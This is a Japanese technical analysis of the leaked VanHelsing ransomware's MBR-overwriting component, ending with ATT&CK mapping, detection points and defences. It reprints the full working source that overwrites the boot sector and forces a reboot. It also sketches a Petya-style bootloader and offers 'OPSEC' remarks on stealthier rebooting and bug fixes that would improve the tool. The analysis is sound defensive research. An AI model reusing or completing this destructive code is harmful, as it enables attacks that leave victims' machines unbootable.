1. 本文書について
本文書は、VanHelsingランサムウェアのリークされたソースコードのうち、Brewriterコンポーネント(MBRブートレコード書き換えモジュール)の技術解析である。
1.1 解析対象の位置づけ
| # | コンポーネント | 役割 | 本文書の対象 |
|---|---|---|---|
| 1 | Locker | ファイル暗号化・ネットワーク拡散 | VanHelsing v1.0 Locker 技術解析 |
| 2 | Loader | ペイロードの復号・メモリ内実行 | VanHelsing v1.0 Loader 技術解析 |
| 3 | Decrypter | 暗号化ファイルの復号 | VanHelsing v1.0 Decrypter 技術解析 |
| 4 | Brewriter | ブートレコード書き換え | 本文書 |
| 5 | Builder | ビルド・パッケージング・C2連携 | VanHelsing v1.0 Builder 技術解析 |
1.2 Brewriterの役割と開発状態
Brewriterは、被害者マシンのマスターブートレコード(MBR)をカスタムブートローダーに置き換え、OS起動前にランサムメッセージを表示するコンポーネントである。BleepingComputerの報告では「部分的に開発されたMBRロッカーで、カスタムブートローダーによるランサムノート表示を意図したもの」と記載されている[1]。
Lockerの --MbrLock フラグ(common.cpp:327-334)はBrewriterの呼び出しを想定していたが、空の実装のまま残されている。つまり、Brewriterは独立した実行ファイルとして存在するが、Lockerとの統合は完了していない。
LockerがファイルレベルでデータをIn暗号化する「論理的な攻撃」であるのに対し、BrewriterはMBRを物理的に書き換える「物理的な攻撃」である。両者を組み合わせることで:
- ファイル暗号化(Locker)でデータを人質に取り
- MBR書き換え(Brewriter)でOS自体の起動を阻止する
二重の圧力を被害者に与える設計が意図されている。この手法はPetya/NotPetya(2016-2017年)[2]で確立されたパターンであり、VanHelsingはこれを踏襲している。
1.3 ソースファイル構成
| ファイル | 行数 | 役割 |
|---|---|---|
main.cpp |
107行 | MBR読み取り→バックアップ→カスタムブートローダー書き込み→強制再起動 |
他のコンポーネント(Locker: 10ファイル、Loader: 6ファイル)と比較して極めてシンプルな構成であり、単一ファイルで完結している。外部ライブラリ依存もなく(libsodium不要)、Windows APIのみで動作する。
重要な欠落: カスタムブートローダーのバイナリ(bootloader.bin)はソースコードに含まれていない。実行時に外部ファイルとして読み込む設計であり、リークされたアーカイブにも bootloader.bin は存在しない。つまり、Brewriterは現状ではカスタムブートローダーなしには機能しない不完全な状態である。
参考文献
[1] https://www.bleepingcomputer.com/news/security/vanhelsing-ransomware-builder-leaked-on-hacking-forum/ (BleepingComputer)
[2] https://attack.mitre.org/software/S0368/ (NotPetya — MITRE ATT&CK)
2. MBRの基礎知識
BrewriterのコードはMBR(Master Boot Record)の構造を前提としているため、理解に必要な背景を説明する。
2.1 MBRとは
MBRはハードディスクの最初のセクター(セクター0、512バイト)に格納されるデータ構造で、PCの電源投入後にBIOS/UEFIが最初に読み込むコードとデータを含む。MBRは以下の3つの要素で構成される:
MBR (512バイト = セクター0) +-----------------------------------------------+ | ブートストラップコード (446バイト) | 0x000-0x1BD | BIOSが実行するマシンコード | | → OSブートローダーを検索・起動する | +-----------------------------------------------+ | パーティションテーブル (64バイト) | 0x1BE-0x1FD | 4エントリ x 16バイト | | → ディスク上のパーティション位置を定義 | +-----------------------------------------------+ | ブートシグネチャ (2バイト) | 0x1FE-0x1FF | 0x55 0xAA | | → 有効なMBRであることを示すマジックナンバー | +-----------------------------------------------+
2.2 GPTディスクに対するBrewriterの影響 — 意図しない破壊
Brewriterの設計意図は「MBRディスクのブートストラップコードをカスタムブートローダーに置換し、BIOS経由でランサムメッセージを表示する」ことである。しかし、GPT + UEFIの環境でBrewriterが実行された場合、カスタムブートローダーの実行には至らないが、別の経路でシステムを起動不能にする。
この問題を理解するには、GPTディスクのセクターレイアウトを把握する必要がある。
GPTディスクのセクター構造:
セクター 0: Protective MBR(保護MBR)
├── ブートストラップコード (446バイト) — UEFIでは実行されない
├── パーティションテーブル (64バイト) — タイプ0xEEの単一エントリ
└── ブートシグネチャ 0x55AA — 存在する
セクター 1: プライマリGPTヘッダー ← ★ ここが重要
├── GPTシグネチャ "EFI PART"
├── パーティションエントリの位置・数
└── ディスクGUID
セクター 2-33: GPTパーティションエントリ配列
└── 各パーティション(ESP含む)の開始/終了LBA、タイプGUID等
...
最終セクター-33 〜 最終セクター-1: バックアップGPTパーティションエントリ
最終セクター: バックアップGPTヘッダー
Brewriterがセクター0とセクター1に何を書き込むか:
Brewriterのコードを再確認する:
// ステップ1: セクター0を読み取り readSector(hDrive, 0, mbr); // ステップ2: 0x55AAシグネチャで「MBR」と判定 if (mbr[510] != 0x55 || mbr[511] != 0xAA) { ... } // → GPTのProtective MBRも0x55AAを持つため、この判定を通過する // ステップ3: セクター0の内容をセクター1にバックアップ writeSector(hDrive, 1, mbr); // → GPTディスクの場合、セクター1のプライマリGPTヘッダーが // Protective MBRのデータで上書きされ破壊される // ステップ4: セクター0をカスタムブートローダーで上書き writeSector(hDrive, 0, custom); // → Protective MBRが破壊される
結果として、GPTディスクに対してBrewriterが実行されると:
| セクター | 書き込み前 | 書き込み後 |
|---|---|---|
| 0 | Protective MBR(0x55AA付き) | custom bootloader(bootloader.binの内容) |
| 1 | プライマリGPTヘッダー | 旧Protective MBRのコピー(GPTヘッダーが破壊される) |
なぜこれがシステムを起動不能にするか:
UEFIファームウェアのブートプロセスは以下の通り:
電源投入 → UEFI POST
→ セクター1のプライマリGPTヘッダーを読み取り
→ GPTヘッダーからパーティションエントリの位置を取得
→ パーティションエントリからEFIシステムパーティション(ESP)を特定
→ ESP内の \EFI\Microsoft\Boot\bootmgfw.efi をロード・実行
セクター1のGPTヘッダーが破壊されると、UEFIはパーティションエントリの位置を特定できず、ESPを発見できない。カスタムブートローダーが実行されるのではなく、UEFIがブートデバイスを見つけられずにブートに失敗する。つまり、Brewriterの意図した「ランサムメッセージの表示」は実現せず、代わりにUEFIのエラー画面("No bootable device found" 等)が表示される。
これは攻撃者にとっても被害者にとっても望ましくない結果である:
- 攻撃者: ランサムメッセージが表示されないため、被害者は何が起きたか理解できない。身代金支払いの交渉すら始められない
- 被害者: OSが起動しないが、ランサムメッセージもないため原因が不明
バックアップGPTヘッダーによる復旧の可能性: GPT仕様ではディスク末尾にバックアップGPTヘッダーとパーティションエントリのコピーが格納される。UEFIファームウェアの実装によっては、プライマリGPTヘッダーの読み取りに失敗した場合にバックアップGPTヘッダーにフォールバックするものがある。この場合、セクター1の破壊にもかかわらずシステムが起動する可能性がある。ただし、このフォールバック動作はUEFIファームウェアの実装に依存し、保証されない。
また、Windows回復環境やLinuxライブUSBから gdisk 等のツールでバックアップGPTヘッダーからプライマリを復元することは可能である。
isMBR()関数が呼び出されていない問題との関連: ソースコードには DeviceIoControl(IOCTL_DISK_GET_PARTITION_INFO_EX) で PARTITION_STYLE_MBR を正確に判定する isMBR() 関数が定義されているが、main()から呼び出されていない。この関数を使用すればGPTディスクへの誤操作を防止できたが、開発途中で統合されなかった。
MBRブート(BIOS)環境に対する影響: Brewriterが意図通りに機能するのはMBRブート環境のみ:
- レガシーBIOSモードのWindows(Windows 7以前のデフォルト、Windows 10/11でもBIOSモード選択時)
- VMwareの仮想マシン(デフォルトBIOSブート。EFIブートはオプション)
- Hyper-V Generation 1仮想マシン(BIOSブート)
- レガシーサーバー(2TB未満のディスクでMBRが選択されるケース)
UEFI環境を標的とするブートキット攻撃: UEFI環境でブートプロセスを乗っ取るには、BrewriterのMBR書き換えアプローチではなく、ESP内の .efi ファイルの置換やUEFI変数の操作が必要になる。BlackLotusブートキット(2023年)はCVE-2022-21894を悪用してUEFI Secure Bootをバイパスし、ブートプロセスを乗っ取る手法を実装しており、VanHelsingのBrewriterとは技術的成熟度が根本的に異なる。
参考文献
[3] https://learn.microsoft.com/en-us/windows/win32/fileio/basic-and-dynamic-disks#master-boot-record (Microsoft Learn — Master boot record)
[4] https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/configure-uefigpt-based-hard-drive-partitions (Microsoft Learn — UEFI/GPT-based hard drive partitions)
3. ソースコード全体と処理フロー
Brewriterのソースコードは107行と小規模であるため、全文をコメント付きで掲載する。
3.1 ヘルパー関数 (main.cpp:1-44)
#include <windows.h> #include <iostream> #include <string> #include <winioctl.h> #define SECTOR_SIZE 512 // MBRディスクかどうかを判定 bool isMBR(HANDLE hDrive) { PARTITION_INFORMATION_EX partInfo; ZeroMemory(&partInfo, sizeof(partInfo)); DWORD bytesReturned = 0; // DeviceIoControlでパーティション情報を取得 if (!DeviceIoControl(hDrive, IOCTL_DISK_GET_PARTITION_INFO_EX, NULL, 0, &partInfo, sizeof(partInfo), &bytesReturned, NULL)) { std::cerr << "[-] IOCTL_DISK_GET_PARTITION_INFO_EX failed.\n"; return false; } return partInfo.PartitionStyle == PARTITION_STYLE_MBR; } // 指定セクターを読み取り bool readSector(HANDLE hDrive, DWORD64 sector, BYTE* buffer) { LARGE_INTEGER li; li.QuadPart = sector * SECTOR_SIZE; // セクター番号 → バイトオフセットに変換 SetFilePointerEx(hDrive, li, NULL, FILE_BEGIN); DWORD read; return ReadFile(hDrive, buffer, SECTOR_SIZE, &read, NULL) && read == SECTOR_SIZE; } // 指定セクターに書き込み bool writeSector(HANDLE hDrive, DWORD64 sector, BYTE* buffer) { LARGE_INTEGER li; li.QuadPart = sector * SECTOR_SIZE; SetFilePointerEx(hDrive, li, NULL, FILE_BEGIN); DWORD written; return WriteFile(hDrive, buffer, SECTOR_SIZE, &written, NULL) && written == SECTOR_SIZE; }
readSector() / writeSector() はセクター番号を受け取り、SECTOR_SIZE(512バイト)単位でディスクI/Oを行う汎用関数である。SetFilePointerEx() でバイトオフセットに変換してシーク位置を設定し、ReadFile() / WriteFile() で実際のI/Oを実行する。
isMBR() は DeviceIoControl() に IOCTL_DISK_GET_PARTITION_INFO_EX を指定してパーティション情報を取得し、パーティションスタイルが PARTITION_STYLE_MBR であることを確認する。ただし、この関数は定義されているがmain()から呼び出されていない(後述のバグ#2)。
3.2 main() — メイン処理 (main.cpp:46-107)
int main() { // ===== ステップ1: 物理ディスクをオープン ===== HANDLE hDrive = CreateFileA(R"(\\.\PhysicalDrive0)", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDrive == INVALID_HANDLE_VALUE) { std::cerr << "[-] Failed to open physical drive.\n"; return 1; } // ===== ステップ2: 現在のMBRを読み取り ===== BYTE mbr[SECTOR_SIZE] = { 0 }; if (!readSector(hDrive, 0, mbr)) { std::cerr << "[-] Failed to read MBR.\n"; return 1; } // ===== ステップ3: MBRシグネチャを検証 ===== if (mbr[510] != 0x55 || mbr[511] != 0xAA) { std::cerr << "[-] Not an MBR disk.\n"; return 1; } std::cout << "[+] MBR detected. Backing up...\n"; // ===== ステップ4: 元のMBRをセクター1にバックアップ ===== if (!writeSector(hDrive, 1, mbr)) { std::cerr << "[-] Failed to write backup.\n"; return 1; } // ===== ステップ5: カスタムブートローダーを読み込み ===== BYTE custom[SECTOR_SIZE]; HANDLE hBoot = CreateFileA("bootloader.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (hBoot == INVALID_HANDLE_VALUE) { std::cerr << "[-] Cannot open bootloader.\n"; return 1; } DWORD bytesRead; ReadFile(hBoot, custom, SECTOR_SIZE, &bytesRead, NULL); CloseHandle(hBoot); if (bytesRead != SECTOR_SIZE) { std::cerr << "[-] Invalid bootloader size.\n"; return 1; } // ===== ステップ6: MBRをカスタムブートローダーで置換 ===== std::cout << "[+] Replacing bootloader...\n"; if (!writeSector(hDrive, 0, custom)) { std::cerr << "[-] Failed to write new bootloader.\n"; return 1; } std::cout << "[+] Bootloader written. Rebooting...\n"; // ===== ステップ7: 強制再起動 ===== system("shutdown /r /t 0"); CloseHandle(hDrive); return 0; }
3.3 処理フローの全体図
[ステップ1] \\.\PhysicalDrive0 をオープン(管理者権限が必要)
↓
[ステップ2] セクター0(MBR)を読み取り → 512バイトバッファに格納
↓
[ステップ3] MBRシグネチャ(0x55AA)を検証
↓ シグネチャ不一致 → "Not an MBR disk" で終了
↓
[ステップ4] 元のMBRをセクター1にバックアップ
↓
[ステップ5] "bootloader.bin" を読み込み(512バイト)
↓ ファイルなし or サイズ不正 → エラー終了
↓
[ステップ6] セクター0をカスタムブートローダーで上書き
↓
[ステップ7] "shutdown /r /t 0" で即時強制再起動
↓
[次回起動時] BIOSがセクター0のカスタムブートローダーを実行
→ ランサムメッセージを表示(bootloader.binの内容に依存)
→ Windowsは起動しない
参考文献
[5] main.cpp:1-107
4. 技術的分析
4.1 PhysicalDrive0への直接アクセス
HANDLE hDrive = CreateFileA(R"(\\.\PhysicalDrive0)", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
\\.\PhysicalDrive0 はWindowsの特殊デバイスパスで、最初の物理ディスクに対するrawアクセスを提供する。このハンドルを通じて、ファイルシステムを経由せずにディスクのセクターを直接読み書きできる。
必要権限: 物理ディスクへのrawアクセスには管理者権限(Elevated process)が必要。非管理者プロセスでは CreateFileA() が ERROR_ACCESS_DENIED で失敗する。
OPSEC考察 — PhysicalDrive0のハードコード: ディスク番号がPhysicalDrive0に固定されている。マルチディスク環境では2番目以降のディスク(PhysicalDrive1, PhysicalDrive2...)のMBRは書き換えられない。また、OSがPhysicalDrive1以降にインストールされている環境では、MBRを書き換えてもOS起動に影響しない。Petya/NotPetyaでは全物理ディスクを列挙する処理があったが、VanHelsingのBrewriterには実装されていない。
4.2 MBRバックアップの設計意図
// 元のMBRをセクター1にバックアップ if (!writeSector(hDrive, 1, mbr)) { std::cerr << "[-] Failed to write backup.\n"; return 1; }
元のMBRをセクター1(MBRの直後のセクター)にバックアップする。これは身代金支払い後にMBRを復元するための仕組みである。
Petya(2016年)も同様にMBRをバックアップしてから暗号化したMBRで上書きし、身代金支払い後にバックアップから復元する設計だった[6]。一方、NotPetya(2017年)はバックアップを行わずMBRを破壊する「ワイパー」であり、復旧が不可能だった[7]。VanHelsingがバックアップを実装していることは、ランサムウェアとしての「身代金ビジネス」の継続性を意図していることを示す。
OPSEC考察 — セクター1へのバックアップのリスク: セクター1はMBRディスクでは通常未使用だが、一部のブートローダー(GRUB等)やディスク管理ツールがセクター1を使用する場合がある。その場合、バックアップ書き込みが既存データを破壊する。また、セクター1は攻撃者にとって既知の位置であるため、フォレンジック調査でバックアップMBRが発見されやすい。
復旧の観点: セクター1のバックアップMBRが無傷であれば、復旧は以下のコマンドで可能:
# Windows回復環境から bootrec /fixmbr # または、セクター1をセクター0にコピーするツールを使用
4.3 カスタムブートローダーの読み込み
BYTE custom[SECTOR_SIZE]; HANDLE hBoot = CreateFileA("bootloader.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
bootloader.bin をカレントディレクトリから読み込む。このファイルは512バイトの16ビットリアルモードコードで、BIOS POSTの後にCPUがリアルモード(16ビット)で実行する。
bootloader.binの想定仕様 — Petya/NotPetyaの先例に基づく推測:
リークされたアーカイブにbootloader.binは含まれていない。BleepingComputerは「カスタムブートローダーによるランサムノート表示を意図した」と報告している[1]。Petya(2016年)の公開解析[6][12][13]に基づき、VanHelsingのbootloader.binが完成した場合に想定される仕様を以下に詳述する。
実行環境の制約: bootloader.binはBIOSによってセクター0からメモリアドレス 0x0000:7C00 にロードされ、CPUの16ビットリアルモードで実行される。リアルモードでは:
- 使用可能なメモリは最大1MB(うち640KBが通常利用可能)
- 32/64ビットのWindows APIは一切使用不可(OSはまだロードされていない)
- ハードウェアアクセスはBIOS割り込み(INT命令)経由のみ
- コードは16ビットx86アセンブリで記述される必要がある
512バイトの制約: Brewriterは bootloader.bin を1セクター(512バイト)のみ読み込む。512バイトにはMBRシグネチャ(2バイト)とパーティションテーブル(64バイト)を含める必要があるため、実行可能コードは最大446バイトに制限される。Petyaはこの制約を、MBRの446バイトをステージ1ローダーとし、後続セクター(セクター1-18)に格納した追加コード(約8,880バイト)をメモリにロードして実行する二段階方式で解決していた[13]。VanHelsingのBrewriterは1セクターしか読み込まないため、Petyaのような二段階方式を採用するなら、Brewriter側の改修(後続セクターの書き込み)も必要になる。
想定されるブート時の処理フロー(Petyaの実装に基づく推測):
[BIOS POST完了]
↓
[セクター0をメモリ0x7C00にロード → 実行開始]
↓
[ステージ1: MBRブートストラップコード (446バイト)]
│
├── INT 13h (Function 42h) — ディスクI/O
│ 後続セクターからステージ2コードをメモリにロード
│ Petyaではセクター1-18 (8,880バイト) をアドレス0x8000に読み込み
│
└── far jmp 0x8000 — ステージ2に制御を移す
↓
[ステージ2: メインブートローダーコード]
│
├── INT 10h (Function 00h) — 画面モード設定
│ VGAテキストモード(80x25文字、16色)を初期化
│
├── INT 10h (Function 09h/0Eh) — 文字出力
│ ランサムメッセージをテキストモードで表示
│ Petyaでは赤背景にASCIIアートの髑髏を表示
│
├── INT 16h (Function 00h) — キーボード入力待ち
│ 被害者のキー入力を待機
│ Petyaでは復号キーの入力を受け付ける画面を表示
│
└── [オプション] MFT暗号化処理
INT 13h でMFT領域のセクターを読み込み
→ Salsa20で暗号化(Petyaの手法)
→ INT 13h で暗号化済みセクターを書き戻し
→ 偽のCHKDSK画面を表示して暗号化の進行を隠蔽
各BIOS割り込みの役割:
| 割り込み | 機能 | ブートローダーでの用途 |
|---|---|---|
INT 10h |
ビデオサービス | 画面モード設定、文字表示、カーソル位置制御、文字色/背景色設定 |
INT 13h |
ディスクサービス | セクター読み書き(Function 42h: Extended Read/Write) |
INT 16h |
キーボードサービス | キー入力の取得(Function 00h: Wait for keypress) |
INT 18h |
ROM BASIC | ブート失敗時のフォールバック |
Petyaのランサム画面の実装詳細: Petyaは以下の2段階の画面を表示した[12]:
偽CHKDSKスクリーン: 再起動直後に「Repairing file system on C:」というメッセージとプログレスバーを表示。被害者にディスクチェックが実行中であると誤認させ、バックグラウンドでMFT(Master File Table)のSalsa20暗号化を進行する。MFTはNTFSファイルシステムの全ファイルのメタデータ(ファイル名、パス、サイズ、ディスク上の位置等)を格納する構造であり、MFTが暗号化されるとファイルシステム全体が読み取り不能になる
赤い髑髏画面 + ランサムノート: MFT暗号化完了後、赤背景にASCIIアートの髑髏を表示し、キー入力を待機。キーを押すとランサムメッセージ(Bitcoin支払い要求、Torサイトアドレス、個人インストールキー)が表示される
VanHelsingのbootloader.binが完成した場合の想定: VanHelsingの設計(Brewriterのソースコード + Lockerの既存実装)から推測すると:
- MFT暗号化は実装されない可能性が高い: VanHelsingはLockerによるファイルレベルの暗号化を主たる攻撃手段としており、MFT暗号化はLockerの暗号化と冗長。Petyaの最終進化系であるNotPetyaがMFT暗号化のみ(ファイルレベル暗号化なし)だったのとは異なり、VanHelsingはファイル暗号化が主でMBRロックは補助的な圧力手段
- 単純なランサムメッセージ表示が目的: Lockerが配置するREADME.txtの内容(Tor .onionアドレス、チケットID)をブート時画面にも表示し、OSにログインしなくてもランサムメッセージが被害者の目に入るようにする
- セクター1のバックアップMBRを利用した復旧パス: 身代金支払い後に「セクター1の元MBRをセクター0に復元する」小さなコードをブートローダー内に含めるか、別途復旧ツールを提供する設計
Petyaとの設計比較 — ディスクセクターレイアウト:
[Petya (2016) のディスクレイアウト] セクター 0: カスタムMBR(ステージ1ローダー、446バイト) セクター 1-18: ステージ2コード(ランサム画面、MFT暗号化、入力処理) セクター 32: Salsa20鍵/nonce、個人インストールキー、Bitcoinアドレス セクター 33: 0x07で埋められたセクター セクター 34: 元のMBR(0x07でXOR暗号化) [VanHelsing Brewriter のディスクレイアウト(現状)] セクター 0: bootloader.bin(512バイト、外部ファイルから読み込み) セクター 1: 元のMBR(平文バックアップ、暗号化なし) セクター 2以降: 未使用(追加コードの書き込みなし)
VanHelsingのレイアウトはPetyaと比較して極めて単純であり:
- 追加コード用のセクター確保がない(ステージ2に相当する処理の格納場所がない)
- バックアップMBRが平文で保存されている(Petyaは0x07でXOR暗号化していた)
- 暗号鍵やランサム情報の格納セクターが定義されていない
これらの不足は、Brewriterが初期プロトタイプの段階で開発が中断されたことを裏付ける。
4.4 強制再起動
system("shutdown /r /t 0");
system() 関数でWindowsの shutdown コマンドを呼び出し、即時再起動(/r)を遅延なし(/t 0)で実行する。
OPSEC考察 — system()の使用:
system()は内部的にcmd.exe /c shutdown /r /t 0を実行するため、プロセスツリーにcmd.exe → shutdown.exeの親子関係が残るshutdown.exeの実行はSysmon EventID 1で記録される- より洗練された実装は
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)APIを直接呼び出す方法であり、cmd.exeの痕跡を残さない InitiateSystemShutdownEx()を使用すれば、メッセージ表示とタイムアウト制御も可能
再起動と処理順序の問題: system("shutdown /r /t 0") は非同期に再起動プロセスを開始するが、その後の CloseHandle(hDrive) が実行される前にシステムが再起動される可能性がある。ディスクハンドルが適切にクローズされない場合、理論的にはディスクの書き込みバッファがフラッシュされずにMBR書き込みが不完全になるリスクがある。ただし、Windowsのシャットダウンプロセスはディスクバッファのフラッシュを行うため、実用上の問題は限定的。
4.5 Petya/NotPetyaとの比較
| 項目 | Petya (2016) | NotPetya (2017) | VanHelsing Brewriter |
|---|---|---|---|
| MBRバックアップ | セクター34にXOR暗号化で保存 | 保存しない(ワイパー) | セクター1に平文で保存 |
| ブートローダー | MFT暗号化 + ランサムメッセージ表示 | 同様だが復号不能 | bootloader.bin(未完成) |
| MFT暗号化 | Salsa20で暗号化 | 同上 | なし |
| パーティション操作 | パーティションテーブルを暗号化 | 同上 | なし |
| ディスク列挙 | 全物理ディスクを対象 | 同上 | PhysicalDrive0のみ |
| GPT対応 | なし | なし | なし |
| 再起動方法 | NtRaiseHardError (BSOD) | スケジュールタスク | shutdown /r /t 0 |
| 開発完成度 | 完成 | 完成 | 未完成 |
VanHelsingのBrewriterはPetya/NotPetyaの基本構造を簡略化した初期プロトタイプと位置づけられる。MFT暗号化、パーティションテーブル操作、複数ディスク対応などの高度な機能が未実装であり、ブートローダー本体も欠落している。
参考文献
[6] https://www.fortinet.com/blog/threat-research/petya-s-master-boot-record-infection (FortiGuard — Petya MBR分析)
[7] https://attack.mitre.org/software/S0368/ (NotPetya — MITRE ATT&CK)
[8] main.cpp:46-107
[12] https://www.gdatasoftware.com/blog/2016/03/28226-ransomware-petya-a-technical-review (G DATA — Petya技術レビュー)
[13] https://countuponsecurity.com/2017/07/02/analysis-of-a-master-boot-record-eternalpetya/ (Count Upon Security — EternalPetya MBR分析)
5. バグ・実装上の問題
| # | 問題 | 箇所 | 影響度 |
|---|---|---|---|
| 1 | bootloader.binが存在しない | main.cpp:79 | 致命的 — カスタムブートローダーなしでは機能しない |
| 2 | isMBR()が呼び出されていない | main.cpp:8-24 | 高 — MBRシグネチャチェックのみでは不十分 |
| 3 | PhysicalDrive0のみ対象 | main.cpp:47 | 中 — マルチディスク環境で不完全 |
| 4 | GPTディスクでセクター1(GPTヘッダー)を破壊 | main.cpp:72 | 高 — UEFI環境でブート不能かつランサムメッセージも表示されない |
| 5 | system()による再起動 | main.cpp:103 | 低 — cmd.exeの痕跡が残る |
| 6 | セクター1バックアップの既存データ破壊 | main.cpp:72 | 低 — 一部環境でデータ破壊の可能性 |
| 7 | main()がGUIアプリではなくコンソールアプリ | main.cpp:46 | 低 — LockerはWinMainだがBrewriterはmain() |
5.1 isMBR()関数が未使用
bool isMBR(HANDLE hDrive) // 定義されているが... { // IOCTL_DISK_GET_PARTITION_INFO_EX でパーティションスタイルを確認 return partInfo.PartitionStyle == PARTITION_STYLE_MBR; } int main() { // ... // isMBR(hDrive) が呼び出されていない // 代わりにMBRシグネチャ(0x55AA)のみで判定 if (mbr[510] != 0x55 || mbr[511] != 0xAA) { std::cerr << "[-] Not an MBR disk.\n"; return 1; } }
isMBR() はDeviceIoControlでパーティションスタイルを正確に判定する関数だが、main()からは呼び出されていない。代わりにMBRシグネチャ(0x55AA)のチェックのみで判定している。GPTディスクも保護MBR(Protective MBR)としてセクター0に 0x55AA シグネチャを持つため、GPTディスクをMBRと誤判定してMBRを上書きする危険性がある。isMBR() を使用すべきだが、開発途中で統合が完了していない。
5.2 コンソールアプリケーションとしてのコンパイル
Brewriterは main() をエントリポイントとするコンソールアプリケーションとして実装されている。LockerやLoaderが wWinMain() / WinMain() のGUIアプリケーションとして実装され、コンソールウィンドウを非表示にしているのとは異なる。Brewriterをそのまま実行すると、std::cout / std::cerr の出力がコンソールウィンドウに表示され、攻撃者の意図が可視化される。これは開発途中のプロトタイプであることの証左。
参考文献
[9] main.cpp:8-24, 46-107
6. 検知・ハンティングポイント
6.1 MITRE ATT&CK マッピング
| ID | テクニック | Brewriterでの実装 |
|---|---|---|
| T1542.003 | Pre-OS Boot: Bootkit | MBRをカスタムブートローダーで上書き |
| T1561.002 | Disk Structure Wipe | MBRの上書き(バックアップはあるが上書き自体は破壊的) |
| T1529 | System Shutdown/Reboot | shutdown /r /t 0 で強制再起動 |
6.2 検知ポイント
| 検知対象 | 方法 | データソース |
|---|---|---|
\\.\PhysicalDrive0 へのCreateFileA |
rawディスクアクセスの監視 | Sysmon EventID 1, ETW |
| セクター0への書き込み | ディスクI/O監視 | ディスクフィルタドライバ |
shutdown /r /t 0 コマンド |
プロセス作成監視 | Sysmon EventID 1, Security 4688 |
bootloader.bin ファイルアクセス |
ファイルアクセス監視 | Sysmon EventID 11 |
6.3 防御策
| 対策 | 効果 |
|---|---|
| Cisco Talos MBRFilter | MBRへの書き込みをカーネルレベルでブロックするディスクフィルタドライバ[10] |
| Secure Boot (UEFI) | GPT + UEFIセキュアブートではMBR書き換えが意味をなさない |
| ディスクアクセス監視 | \\.\PhysicalDrive* へのrawアクセスを検知・ブロック |
| 管理者権限の制限 | 非管理者権限ではPhysicalDriveへのアクセスが拒否される |
参考文献
[10] https://www.talosintelligence.com/mbrfilter (Cisco Talos — MBRFilter)
[11] T1542.003 - Pre-OS Boot: Bootkit (MITRE ATT&CK)